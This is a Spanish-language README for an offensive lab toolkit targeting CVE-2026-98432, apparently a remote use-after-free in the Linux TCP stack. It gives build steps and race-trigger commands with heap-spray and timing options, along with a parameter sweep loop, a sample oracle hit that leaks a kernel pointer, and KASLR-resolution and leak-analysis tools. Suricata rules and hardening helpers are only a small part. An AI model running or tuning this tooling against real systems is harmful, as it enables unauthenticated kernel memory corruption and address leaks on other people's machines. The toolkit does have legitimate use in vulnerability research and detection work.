
Kit de herramientas de laboratorio para el use-after-free de ireq_opt en TCP de Linux (CVE-2026-98432): activación de la condición de carrera con oráculo de reutilización de heap, analizador de fugas, resolución de KASLR, análisis de pcap, reglas de IDS y endurecimiento.
Un pequeño kit de laboratorio probado para CVE-2026-98432, un use-after-free remoto en la pila IPv4/TCP de Linux (CVSS 9.8). Contiene un disparador de condición de carrera con un oráculo de reutilización de heap, un analizador de fugas, un resolutor de KASLR, análisis de pcap, reglas IDS y asistentes de endurecimiento.
[!WARNING] Esto es herramienta de ataque. Ejecútala solo contra máquinas que poseas, dentro de un laboratorio aislado. La vulnerabilidad es remota y no necesita credenciales en el objetivo. La herramienta rechaza direcciones públicas a menos que pases explícitamente
--allow-public.
ireq_opt, con un modelo de temporización preciso y configurable;System.map;| Objetivo | Linux con un listener TCP IPv4, kernel anterior a la corrección |
| Atacante | Linux, CAP_NET_RAW, un compilador de C, Python 3.8+ |
| Recomendado | dos VMs o una VM más un host, en la misma red L2 |
--mode raw además necesita CAP_NET_ADMIN para instalar dos reglas de iptables
(la herramienta las imprime).
make # builds bin/cve_2026_98432
make check # full offline test suite, no packets sent
./bin/cve_2026_98432 --check
En el laboratorio:
# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000
# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
--workers 16 --spray 4 --duration 600 --pcap hits.pcap
# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap
El código de salida es 0 cuando el oráculo detectó un bloque de opciones reutilizado (prueba del use-after-free), 3 cuando no lo detectó, y 1/2 en caso de errores.
Una ejecución de laboratorio ya ha confirmado el oráculo UAF: el SYN-ACK llevaba el marcador de otra solicitud, lo que demuestra que el kernel leyó un objeto de opciones reutilizado. Véase docs/verified-hit.md. La etapa 2 (convertir la reutilización en una fuga de punteros del kernel) está implementada e instrumentada, pero aún no se ha reproducido; véase docs/stage2-leak.md. A fecha de 2026-11-02 no existe ninguna cadena de RCE weaponizada pública: la cadena de Anthropic solo se describe en prosa, y el trabajo independiente más detallado se detiene en una desreferencia controlada sobre un kernel instrumentado.
lab/build-lab.sh descarga Linux 6.12.112, revierte la corrección de dos líneas, compila un kernel y lo arranca en QEMU junto con la herramienta y un listener. Véase lab/README.md para los requisitos y los comandos dentro de la VM.
make # optimised build
make test # C unit tests + built-in self-test
make san # UBSan locally, ASan+UBSan on Linux
make check # everything: clean build, unit tests, sanitizers, Python, shell
make check nunca abre un socket. Cubre la construcción y el análisis de paquetes,
las sumas de comprobación, ambas variantes de marcador, el clasificador de punteros, el escritor de pcap, una
pasada de fuzzing del analizador, los analizadores, los ayudantes de shell, la CLI y la protección
de seguridad. Consulte docs/analysis.md para ver la
matriz completa.
| modo | qué hace | red |
|---|---|---|
--check | compara el kernel en ejecución con la tabla de correcciones, imprime el estado de MPTCP y tcp_migrate_req | ninguna |
--selftest | prueba de humo integrada | ninguna |
--emit-demo FILE | escribe una captura UAF sintética (para probar el analizador) | ninguna |
--dump-config | imprime la configuración normalizada | ninguna |
--probe IP:PORT | un SYN con MP_CAPABLE, detecta un listener MPTCP | un paquete |
--race IP:PORT | la carrera real | muchos paquetes |
Opciones comunes de carrera:
--workers N concurrent attempts (default 8)
--duration S stop after S seconds
--spray N heap-spray threads
--dup-burst N duplicate SYNs per attempt (lab tuning)
--mode raw|socket who owns the handshake (default socket)
--rtt-lead US send the duplicate SYN this early (may be negative)
--rst-delta US RST offset after the predicted ACK
--jitter US randomize both offsets
--pcap FILE write anomalous frames
Ejecuta ./bin/cve_2026_98432 --help para ver la lista completa.
[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
| campo | significado |
|---|---|
attempts | handshakes iniciados |
synacks | SYN-ACKs observados |
hits | el SYN-ACK portaba el marcador de otro intento: use-after-free confirmado |
anomalies | el blob de opciones no se pudo analizar como nuestro (posibles bytes filtrados) |
malformed | IPv4 ihl < 5, la firma del underflow |
marker echoed | SYN-ACKs que portaban nuestro marcador TS |
rtt | estimación actual del round-trip usada para la temporización |
Un hit se ve así:
[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
ipopts[40] = 44280500...bbbb0002...
kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000
La carrera es una lotería de apropiación, pero la sincronización sigue importando. Comienza con los valores predeterminados en loopback o en una LAN, luego recorre:
for lead in 0 10 30 60 120; do
for delta in -20 0 20 60; do
./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
--duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
done
done
python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d
Las reglas de Suricata están en tools/suricata.rules. Las dos firmas de alto valor son un SYN TCP entrante con opciones IP y una cabecera IPv4 con ihl < 5.